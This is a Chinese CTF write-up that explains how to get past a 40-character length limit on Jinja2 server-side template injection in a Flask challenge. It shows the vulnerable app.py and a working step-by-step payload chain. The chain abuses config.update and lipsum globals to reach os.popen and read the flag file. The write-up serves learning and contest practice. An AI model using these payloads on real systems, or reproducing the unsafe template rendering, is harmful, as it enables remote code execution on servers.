一、简介
在做ctf的ssti考点的时候碰到了大多数都是对payload的恶意字符绕过,好像没遇到过对长度的限制。然后网上也挺少有这方面的研究,于是在我打ctfshow2024的单身杯的时候遇到一题关于ssti长度限制的题目
二、题目
rce后下载的源码
app.py
#!/usr/bin/env python3
import os
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route("/")
def home():
user = request.args.get('user') or None
template = """
<html>
<head>
<title>Get The Flag</title>
<style>body {margin: 90px;}</style>
</head>
<body>
"""
if user is None:
template += """
<h1>Login Form</h1>
<form>
<input name="user" style="border: 2px solid #C21010; padding: 10px; border-radius: 10px; margin-bottom: 25px;" value="Username"><br>
<input type="submit" value="login" style="border: 0px; padding: 5px 20px ; color: #C21010;">
</form>
"""
else:
if len(user) > 40:
return "<h1>太长了bro</h1>"
template += f"""
<h1>hello {user}</h1>
你已成功登录<br>
"""
template += "</body></html>"
return render_template_string(template)
if __name__ == "__main__":
app.run(debug=False, host='0.0.0.0', port=12133)
一个很常见的ssti注入漏洞
长度被限制了只能是40
三、解题
一开始我都payload是这样的
利用update函数
来更新
{%set x=config.update(g="__globals__")%}
后面发现update其实也是可以更新的
{%set x=config.update(c=config.update)%}
更改成功
{%set x=config.c(f=lipsum[config.g])%}
然后
{%set x=config.update(o=config.f.os)%}
接着
{%set x=config.update(p=config.o.popen)%}
接着
{%print(config.p("cat /f*").read())%}
得到flag
四、赛后复盘
赛后看了wp,然后就经过研究发现还可以有更短的ssti注入
就是set x其实是可以直接省去的
所以直接就是用{{config.update(c=config.update)}}来获取更新函数,该字符长度为34
完整的就是
{{config.update(c=config.update)}}
{{config.update(g="__globals__")}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p("cat /f*").read()}}
如果是config是否还有别的函数呢?又或者还有别的能代替config呢?
点击收藏 | 0
关注 | 1
打赏